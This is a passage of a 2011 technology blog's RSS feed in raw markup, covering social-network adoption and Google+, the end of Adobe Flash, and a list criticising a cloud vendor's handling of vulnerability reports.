&lt;b&gt;The Chasm&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
The chasm (which exists between Early Adopters and Early Majority i.e. at 16% penetration), refers to&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Geoffrey_Moore" style="color: #1155cc;" target="_blank"&gt;Moore&lt;/a&gt;'s argument in&amp;nbsp;&lt;a href="http://www.amazon.com/gp/product/B000FC119W/ref=as_li_ss_tl?ie=UTF8&amp;amp;tag=ausonline&amp;amp;linkCode=as2&amp;amp;camp=217145&amp;amp;creative=399373&amp;amp;creativeASIN=B000FC119W" style="color: #1155cc;" target="_blank"&gt;Crossing the Chasm&lt;/a&gt;&amp;nbsp;that there is a gap between early adopters and the mass market which must be crossed by any innovation which is to be successful. Furthermore, thanks to&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Accelerating_change" style="color: #1155cc;" target="_blank"&gt;accelerating technological change&lt;/a&gt;&amp;nbsp;they must do so within an increasingly limited time for fear of being equaled by an incumbent or disrupted by another innovation. The needs of the mass market differ — often wildly — from the needs of early adopters and innovations typically need to adapt quickly to make the transition.&amp;nbsp;I would argue that MySpace, having achieved ~75 million users at peak, failed to cross the chasm by finding appeal in the mass market (ironically due in no small part to their unfettered flexibility in customising profiles) and was disrupted by Facebook. Twitter on the other hand (with some 200 million active users) has crossed the chasm, as evidenced by the presence of mainstream icons like&amp;nbsp;&lt;a href="https://twitter.com/#!/justinbieber" style="color: #1155cc;" target="_blank"&gt;Bieber&lt;/a&gt;,&amp;nbsp;&lt;a href="https://twitter.com/#!/britneyspears" style="color: #1155cc;" target="_blank"&gt;Spears&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href="https://twitter.com/#!/BARACKOBAMA" style="color: #1155cc;" target="_blank"&gt;Obama&lt;/a&gt;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;as well as their fans. LinkedIn (for reasons explained above) belongs at the top right rather than the bottom left.&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;b&gt;Disruptive innovations&lt;/b&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
The big question today is whether Google+ can cross the chasm too and give Facebook a run for its money. Facebook, having achieved "new-market disruption" with almost a decade head start in refining the service with a largely captive audience, now exhibits extremely strong network effects. It would almost certainly take another&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Disruptive_technology" style="color: #1155cc;" target="_blank"&gt;disruptive innovation&lt;/a&gt;&amp;nbsp;to displace them (that is, according to&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Clayton_M._Christensen" style="color: #1155cc;" target="_blank"&gt;Clayton Christensen&lt;/a&gt;, one that develops in an emerging market and creates a new market and value network before going on to disrupt existing markets and value networks), in the same way that&amp;nbsp;Google previously disrupted the existing search market a decade ago.&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
In observing that creating a link to a site is essentially a vote for that site ("PageRank"), Google implemented a higher quality search engine that was more efficient, more scalable and less susceptible to spam.&amp;nbsp;&lt;a href="http://2.bp.blogspot.com/-skuXDcEEUl4/TrwCRuu_CnI/AAAAAAAAAZc/fil8-5cd1dQ/s1600/google-backrub-2007.png" style="color: #1155cc;" target="_blank"&gt;In the beginning&lt;/a&gt;&amp;nbsp;&lt;strike&gt;Backrub&lt;/strike&gt;&amp;nbsp;Google was nothing special and the incumbents (remember&amp;nbsp;&lt;a href="http://www.altavista.com/" style="color: #1155cc;" target="_blank"&gt;Altavista&lt;/a&gt;?) were continuously evolving — they had little to fear from Google and Google had little to fear from them as it simply wasn't worth their while chasing after potentially disruptive innovations like Backrub. They were so disinterested in fact that&amp;nbsp;&lt;a href="http://www.wired.com/wired/archive/15.02/yahoo.html" style="color: #1155cc;" target="_blank"&gt;Yahoo! missed an opportunity to acquire Google&lt;/a&gt;&amp;nbsp;for $3bn in the early days. Like most disruptive technologies, PageRank was&amp;nbsp;technologically straightforward and far simpler than trying to determine relevance from the content itself. It was also built on a revolutionary hardware and software platform that scaled out rather than up, distributing work between many commodity PCs, thus reducing costs and causing "low-end disruption". Its initial applications were trivial, but it quickly outpaced the sustaining innovation of the incumbents and took the lead, which it has held ever since:&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; clear: both; color: #222222; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-dAwIRi_83nQ/TrwAELfg-DI/AAAAAAAAAZU/YG5G8Zc5Azk/s1600/Disruptivetechnology.gif" style="color: #1155cc; margin-left: 1em; margin-right: 1em;" target="_blank"&gt;&lt;img border="0" height="302" src="http://4.bp.blogspot.com/-dAwIRi_83nQ/TrwAELfg-DI/AAAAAAAAAZU/YG5G8Zc5Azk/s400/Disruptivetechnology.gif" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;span style="background-color: white;"&gt;Today Facebook is looking increasingly disruptive too, only in their world it's no longer about links between pages, but links between people (which are arguably far more valuable). Last year while working at Google I actively advocated the development of a "PageRank for people" (which I referred to as "PeopleRank" or "SocialRank"), whereby a connection to a person was effectively a vote for that person and the weight of that vote would depend on the person's influence in the community, in the same way that a link from&amp;nbsp;&lt;/span&gt;&lt;a href="http://microsoft.com/" style="background-color: white; color: #1155cc;" target="_blank"&gt;microsoft.com&lt;/a&gt;&lt;span style="background-color: white;"&gt;&amp;nbsp;is worth more than one from viagra.tld (which could actually have negative value in the same way that hanging out with the wrong crowd negatively affects reputation). I'd previously built what I'd call a "social metanetwork" named "meshed" (which never saw the light of day due to cloud-related commitments) and the idea stemmed from that, but I was busy running tape backups for Google, not building social networks on the &lt;/span&gt;&lt;a href="http://techcrunch.com/2010/12/01/google-social-emerald-sea/" style="background-color: white;"&gt;Emerald Sea&lt;/a&gt;&lt;span style="background-color: white;"&gt; team.&lt;/span&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
With the wealth of information Google has at its fingertips — including what amounts to a&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Pen_register" style="color: #1155cc;" target="_blank"&gt;pen trace&lt;/a&gt;&amp;nbsp;of users' e-mail and (courtesy Android and Google Voice) phone calls and text messages — it should have been possible for them to completely automate the process of circle creation, in the same way that&amp;nbsp;&lt;a href="http://inmaps.linkedinlabs.com/" style="color: #1155cc;" target="_blank"&gt;LinkedIn Maps&lt;/a&gt;&amp;nbsp;can identify clusters of contacts.&amp;nbsp;&lt;span style="background-color: white;"&gt;But they didn't (perhaps because they&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.businessinsider.com/warning-google-buzz-has-a-huge-privacy-flaw-2010-2" style="background-color: white; color: #1155cc;" target="_blank"&gt;got it badly wrong with Buzz&lt;/a&gt;&lt;span style="background-color: white;"&gt;), and they're now on the sustaining innovation treadmill with otherwise revolutionary differentiating features being quickly co-opted by Facebook (circles vs lists, hangouts vs Skype, etc).&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Another factor to consider is that Google have a massive base of existing users in a number of markets that they can push Google+ to, and they're not afraid to do so (as evidenced by its appearance in other products and services including &lt;a href="http://www.google.com/mobile/+/"&gt;Android&lt;/a&gt;,&amp;nbsp;&lt;a href="http://adage.com/article/special-report-digital-west/google-add-1-social-layer-display-ads/229892/"&gt;AdWords&lt;/a&gt;, &lt;a href="http://buzz.blogger.com/2011/10/use-your-google-profile-with-your.html"&gt;Blogger&lt;/a&gt;,&amp;nbsp;&lt;a href="http://articles.businessinsider.com/2011-07-06/tech/29984255_1_google-apps-chrome-browser-chrome-web-store" style="background-color: white;"&gt;Chrome&lt;/a&gt;,&lt;span style="background-color: white;"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://picasa.google.com/support/bin/answer.py?answer=1306701" style="background-color: white;"&gt;Picasa&lt;/a&gt;&lt;span style="background-color: white;"&gt;, &lt;/span&gt;&lt;a href="http://googleblog.blogspot.com/2011/09/snippets-on-google-maps-if-you-can-see.html" style="background-color: white;"&gt;Maps&lt;/a&gt;&lt;span style="background-color: white;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href="http://venturebeat.com/2011/11/22/google-plus-in-google-news/" style="background-color: white;"&gt;News&lt;/a&gt;&lt;span style="background-color: white;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href="http://blog.louisgray.com/2011/11/google-reader-evolves-gets-tighter-with.html" style="background-color: white;"&gt;Reader&lt;/a&gt;&lt;span style="background-color: white;"&gt;, &lt;/span&gt;&lt;a href="http://www.webpronews.com/google-chat-rolls-out-2011-11" style="background-color: white;"&gt;Talk&lt;/a&gt;&lt;span style="background-color: white;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href="http://mashable.com/2011/11/03/google-youtube-chrome-plus/" style="background-color: white;"&gt;YouTube&lt;/a&gt;&lt;span style="background-color: white;"&gt;&amp;nbsp;and of course the ubiquitous &lt;/span&gt;&lt;a href="http://www.dummies.com/how-to/content/using-the-google-sandbar-in-other-google-products.html" style="background-color: white;"&gt;sandbar&lt;/a&gt;&lt;span style="background-color: white;"&gt; and gratuitous blue arrow which &lt;/span&gt;&lt;a href="http://techcrunch.com/2011/09/20/google-com-has-an-unmissable-ad-drawing-users-to-google/" style="background-color: white;"&gt;appeared on Google Search&lt;/a&gt;)&lt;span style="background-color: white;"&gt;. This strategy is not without risk though as if successful it will almost certainly attract further &lt;/span&gt;&lt;a href="http://www.huffingtonpost.com/2011/11/02/google-adds-search-features_n_1071323.html" style="background-color: white;"&gt;antitrust&lt;/a&gt;&lt;span style="background-color: white;"&gt; &lt;/span&gt;&lt;a href="http://www.webpronews.com/google-antitrust-complaint-filed-with-ftc-2011-11" style="background-color: white;"&gt;scrutiny&lt;/a&gt;&lt;span style="background-color: white;"&gt;, in the same way that Microsoft found itself in hot water for what was essentially &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/United_States_v._Microsoft" style="background-color: white;"&gt;putting an IE icon on the desktop&lt;/a&gt;&lt;span style="background-color: white;"&gt;. Indeed I had advocated the deployment of Google+ as a "&lt;/span&gt;&lt;a href="http://news.softpedia.com/news/Google-Has-40-Million-Users-CEO-Larry-Page-Confirms-227710.shtml" style="background-color: white;"&gt;social layer&lt;/a&gt;&lt;span style="background-color: white;"&gt;" rather than isolated product (ala the &lt;a href="http://www.slashgear.com/google-ends-wave-buzz-knol-health-and-google-desktop-22197451/"&gt;defunct Google Buzz&lt;/a&gt;), but stopped short of promoting an integrated product to rival Facebook — if only to maintain a separation of duties between content production/hosting and discovery.&lt;/span&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="background-color: white; color: #222222;"&gt;
&lt;b&gt;The solution&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
While I'm happy to see some healthy competition in the space, I'd rather not see any of the social networks "win" as if any one of them were able to cement a monopoly then us users would ultimately suffer. At the end of the day we need to remember that for any commercial social network we're not the customer, we're the product being sold:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-n6q7iIvgKn0/Ts1NHBqYj5I/AAAAAAAAAaI/VG8meXk7354/s1600/fremium-model.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-n6q7iIvgKn0/Ts1NHBqYj5I/AAAAAAAAAaI/VG8meXk7354/s320/fremium-model.jpg" width="266" /&gt;&lt;/a&gt;&lt;/div&gt;
As such, I strongly advocate the adoption of open standards for social networking, whereby users select a service or host a product that is most suitable for their specific needs (e.g. personal, professional, branding, etc) which is interoperable with other, similar products.&lt;br /&gt;
&lt;br /&gt;
What we're seeing today is similar to the early days of Internet email, where the &lt;a href="http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol"&gt;Simple Mail Transfer Protocol (SMTP)&lt;/a&gt; broke down the barriers between different silos — what we need is an SMTP for social networking.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/gp/product/B000FC0NH8/ref=as_li_ss_tl?ie=UTF8&amp;amp;tag=ausonline&amp;amp;linkCode=as2&amp;amp;camp=217145&amp;amp;creative=399373&amp;amp;creativeASIN=B000FC0NH8"&gt;Diffusion of Innovations&lt;/a&gt;, Everett M Rogers&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/gp/product/B000FC119W/ref=as_li_ss_tl?ie=UTF8&amp;amp;tag=ausonline&amp;amp;linkCode=as2&amp;amp;camp=217145&amp;amp;creative=399373&amp;amp;creativeASIN=B000FC119W"&gt;Crossing the Chasm&lt;/a&gt;, Geoffrey A Moore&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/gp/product/0062060244/ref=as_li_ss_tl?ie=UTF8&amp;amp;tag=ausonline&amp;amp;linkCode=as2&amp;amp;camp=217145&amp;amp;creative=399373&amp;amp;creativeASIN=0062060244"&gt;The Innovator's Dilemma&lt;/a&gt;, Clayton M Christensen&lt;/li&gt;
&lt;/ul&gt;
Sources:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Facebook: 800 million users (active) [&lt;a href="http://mashable.com/2011/09/22/facebook-800-million-users/"&gt;source&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Twitter: 200 million users (active) [&lt;a href="http://www.bbc.co.uk/news/business-12889048"&gt;source&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;LinkedIn: 135 million users (total) [&lt;a href="http://press.linkedin.com/about"&gt;source&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;MySpace: 75.9 million users (peak) [&lt;a href="http://socialtimes.com/myspace-on-the-auction-block-what-happens-to-user-data_b34636"&gt;source&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;Google+: 40 million users (total) [&lt;a href="http://searchengineland.com/larry-page-google-now-has-40-million-members-96796"&gt;source&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-2527536842269081225?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=MSejjFHmxx4:2fjoeFgs3HM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MSejjFHmxx4:2fjoeFgs3HM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=MSejjFHmxx4:2fjoeFgs3HM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MSejjFHmxx4:2fjoeFgs3HM:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=MSejjFHmxx4:2fjoeFgs3HM:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MSejjFHmxx4:2fjoeFgs3HM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MSejjFHmxx4:2fjoeFgs3HM:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MSejjFHmxx4:2fjoeFgs3HM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=MSejjFHmxx4:2fjoeFgs3HM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/MSejjFHmxx4" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-23T21:04:43.941+01:00</app:edited><media:thumbnail url="http://1.bp.blogspot.com/-Tf1KJWR53ys/TrsbEAGKJeI/AAAAAAAAAY8/t40cVWI0FzQ/s72-c/diffusion-of-social-networks.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">12</thr:total><feedburner:origLink>http://samj.net/2011/11/infographic-diffusion-of-social.html</feedburner:origLink></item><item><title>RIP Adobe Flash (1996-2011) - now let's bury the dead</title><link>http://feedproxy.google.com/~r/samj/~3/npvWNFCv5w8/rip-adobe-flash-1996-2011-now-lets-bury.html</link><category>standards</category><category>html5</category><category>internet</category><category>security</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Fri, 11 Nov 2011 05:06:08 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-1516366442619969010</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;a href="http://www.guardian.co.uk/technology/2011/nov/09/adobe-flash-mobile-dead"&gt;Adobe kills mobile Flash, giving Steve Jobs the last laugh&lt;/a&gt;, reports The Guardian's &lt;a href="http://twitter.com/charlesarthur"&gt;Charles Arthur&lt;/a&gt;&amp;nbsp;following the late Steve Jobs' epic &lt;a href="http://www.apple.com/hotnews/thoughts-on-flash/"&gt;Thoughts on Flash&lt;/a&gt; rant 18 months ago. It's been about 2.5 years since I too got sick of Flash bringing my powerful Mac to its knees, so I went after &lt;a href="http://www.adobe.com/products/flashplatformruntimes/statistics.html"&gt;the underlying lie&lt;/a&gt; that perpetuates the problem, explaining &lt;a href="http://samj.net/2009/02/why-adobe-flash-penetration-is-more.html"&gt;why Adobe Flash penetration is more like 50% than 99%&lt;/a&gt;. I even made progress &lt;a href="http://samj.net/2009/02/towards-flash-free-youtube-killer-was.html"&gt;Towards a Flash free YouTube killer&lt;/a&gt;, only it ended up being YouTube themselves who eventually started testing a &lt;a href="http://www.youtube.com/html5"&gt;YouTube HTML5 Video Player&lt;/a&gt;&amp;nbsp;(while you're there please do your bit for the open web by clicking "&lt;i&gt;Join the HTML5 Trial&lt;/i&gt;" at the bottom of that page).&lt;br /&gt;
&lt;div&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;i&gt;I heard a sound as though a million restaurant websites cried out at once&lt;/i&gt; — &lt;a href="https://twitter.com/#!/charlesarthur/status/134230766249967616"&gt;Charles Arthur&lt;/a&gt;&lt;/blockquote&gt;
&lt;div&gt;
You see, armed with this heavily manipulated statistic, armies of developers are &lt;b&gt;to this day&lt;/b&gt;&amp;nbsp;fraudulently duping their paying clients into deploying a platform that will invariably turn away a percentage of their business at the door, in favour of annoying &lt;a href="http://www.youtube.com/watch?v=3LkQrtCIFA4"&gt;flaming logos&lt;/a&gt; and other atrocities that blight the web:&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/3LkQrtCIFA4" width="420"&gt;&lt;/iframe&gt;
&lt;br /&gt;
&lt;br /&gt;
How much business can you tolerate losing? If you've got 95% penetration then you're turning away 1 in 20 customers. At 90% you're turning away 1 in 10. At 50% &lt;b&gt;half&lt;/b&gt; of your customers won't even get to see your product. I don't know too many businesses who can afford to turn away &lt;b&gt;any&lt;/b&gt; customers in this economic climate.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
In my opinion the only place Flash technology has in today's cloud computing environment is as a component of the AIR runtime for building (sub-par) cross-platform applications, and even then I'd argue that they should be using HTML5. As an &lt;a href="http://www.adobe.com/products/creativesuite/mastercollection.html"&gt;Adobe Creative Suite Master Collection&lt;/a&gt; customer I'm very happy to see them dropping support for this legacy technology to focus on generating interactive HTML5 applications, and look forward to a similar announcement for desktop versions of the Flash player in the not too distant future.&lt;br /&gt;
&lt;br /&gt;
In any case, with the overwhelming majority of devices being mobile today and with more and more of them including browser functionality, the days of Flash were numbered even before Adobe put the mobile version out of its misery. Let's not drag this out any longer than we have to, and bury the dead by uninstalling Flash Player. Here's instructions for &lt;a href="http://kb2.adobe.com/cps/909/cpsid_90906.html"&gt;Mac OS X&lt;/a&gt; and &lt;a href="http://kb2.adobe.com/cps/141/tn_14157.html"&gt;Windows&lt;/a&gt;, and if you're not ready to take the plunge into an open standards based &lt;a href="http://en.wikipedia.org/wiki/HTML5"&gt;HTML5&lt;/a&gt; future then at least install FlashBlock for &lt;a href="https://chrome.google.com/webstore/detail/gofhjkjmkpinhpoiabjplobcaignabnl"&gt;Chrome&lt;/a&gt; or &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/flashblock/"&gt;Firefox&lt;/a&gt;&amp;nbsp;(surely you're not still using IE?).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt;&amp;nbsp;Flash for TV is dead too, as if killing off mobile wasn't enough:&amp;nbsp;&lt;a href="http://allthingsd.com/20111110/adobe-scrapping-flash-for-tv-too%E2%80%8E/"&gt;Adobe Scrapping Flash for TV, Too‎&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; &lt;a href="http://en.wikipedia.org/wiki/Rich_Internet_application"&gt;Rich Internet Application (RIA)&lt;/a&gt; architectures in general are in a lot of trouble — Microsoft are killing off Silverlight as well:&amp;nbsp;&lt;a href="http://www.theregister.co.uk/2011/11/10/microsoft_killing_silverlight_rumours/"&gt;Mm, Silverlight, what's that smell? Yes, it's death&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; In a surprising move that will no doubt be reversed, RIM announced it would continue developing Flash on the PlayBook (despite almost certainly lacking the ability to do so):&amp;nbsp;&lt;a href="http://www.digitaltrends.com/mobile/rim-vows-to-keep-developing-flash-for-blackberry-playbook-no-joke/"&gt;RIM vows to keep developing Flash for BlackBerry PlayBook – no joke&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-1516366442619969010?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=npvWNFCv5w8:k3zQ_2LJiCU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=npvWNFCv5w8:k3zQ_2LJiCU:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=npvWNFCv5w8:k3zQ_2LJiCU:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=npvWNFCv5w8:k3zQ_2LJiCU:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=npvWNFCv5w8:k3zQ_2LJiCU:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=npvWNFCv5w8:k3zQ_2LJiCU:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=npvWNFCv5w8:k3zQ_2LJiCU:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=npvWNFCv5w8:k3zQ_2LJiCU:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=npvWNFCv5w8:k3zQ_2LJiCU:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/npvWNFCv5w8" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-11T14:06:08.977+01:00</app:edited><media:thumbnail url="http://img.youtube.com/vi/3LkQrtCIFA4/default.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://samj.net/2011/11/rip-adobe-flash-1996-2011-now-lets-bury.html</feedburner:origLink></item><item><title>How NOT to respond to vulnerability reports</title><link>http://feedproxy.google.com/~r/samj/~3/SdzHbge3m_E/how-not-to-respond-to-vulnerability.html</link><category>cloud</category><category>enomaly</category><category>security</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Wed, 09 Nov 2011 04:57:38 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-3222780546887252598</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://memegenerator.net/instance/11298030" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-NZ5bl11WncY/TrpsGvpLCiI/AAAAAAAAAYk/i4KzPvj4CKU/s1600/11298030.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;a href="http://www.elasticvapor.com/"&gt;Reuven Cohen&lt;/a&gt; and the guys at &lt;a href="http://www.enomaly.com/"&gt;Enomaly&lt;/a&gt; could write the book on how NOT to respond to vulnerability reports:&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Don't &lt;a href="https://twitter.com/#!/ruv/status/133221009342992384"&gt;disavow vulnerabilities&lt;/a&gt; in products you've previously &lt;a href="http://www.elasticvapor.com/2008/04/enomaly-launches-giftagcom-for-bestbuyg.html"&gt;taken&lt;/a&gt; &lt;a href="http://www.elasticvapor.com/2008/09/bestbuys-giftagcom-getting-some-press.html"&gt;credit&lt;/a&gt; for&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://groups.google.com/group/spotcloudbuyers/browse_thread/thread/526fc1d60bfa6e95/426c91bc73b493be"&gt;claim issues are not valid&lt;/a&gt; while denying researchers a right of reply&lt;/li&gt;
&lt;li&gt;Don't claim obvious issues are "&lt;a href="http://groups.google.com/group/spotcloudbuyers/browse_thread/thread/526fc1d60bfa6e95/426c91bc73b493be"&gt;unactionably vague&lt;/a&gt;" and then ignore them, even after a &lt;a href="http://samj.net/2011/10/sploitcloud.html"&gt;working exploit is publicly available&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Don't claim trivial remote root exploits are "&lt;a href="http://groups.google.com/group/spotcloudbuyers/browse_thread/thread/526fc1d60bfa6e95/426c91bc73b493be"&gt;theoretically valid but extremely difficult to exploit&lt;/a&gt;"&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://groups.google.com/group/spotcloudbuyers/browse_thread/thread/526fc1d60bfa6e95/426c91bc73b493be"&gt;claim it's ok to rely on&lt;/a&gt; security by obscurity or race conditions&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://groups.google.com/group/spotcloudbuyers/about"&gt;turn on moderation&lt;/a&gt; because a researcher posts a &lt;a href="http://groups.google.com/group/spotcloudbuyers/msg/a1e010147241298e"&gt;vulnerability report&lt;/a&gt; to your lists&lt;/li&gt;
&lt;li&gt;Don't subsequently &lt;a href="http://1.bp.blogspot.com/-Kbx1w50mK_g/Trp0D54k9LI/AAAAAAAAAYs/ZZ0tIMoPLZE/s1600/spotcloud-banned.png"&gt;ban a researcher from your lists&lt;/a&gt; because they tried to notify your users when you failed to&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://groups.google.com/group/spotcloudbuyers/msg/237ffac277ea8bbe"&gt;claim that security vulnerabilities are ok&lt;/a&gt; because there have been "&lt;i&gt;no reports of any security compromise&lt;/i&gt;"&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://samj.net/2009/08/twitter-pro-best-buys-twelpforce-is.html"&gt;claim&lt;/a&gt; "&lt;i&gt;other mitigating factors that have been present in the environment from the beginning&lt;/i&gt;" when the vulnerability has already been demonstrated&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://samj.net/2009/08/twitter-pro-best-buys-twelpforce-is.html"&gt;ask for private notification of vulnerabilities&lt;/a&gt; only to then ignore/dispute them&lt;/li&gt;
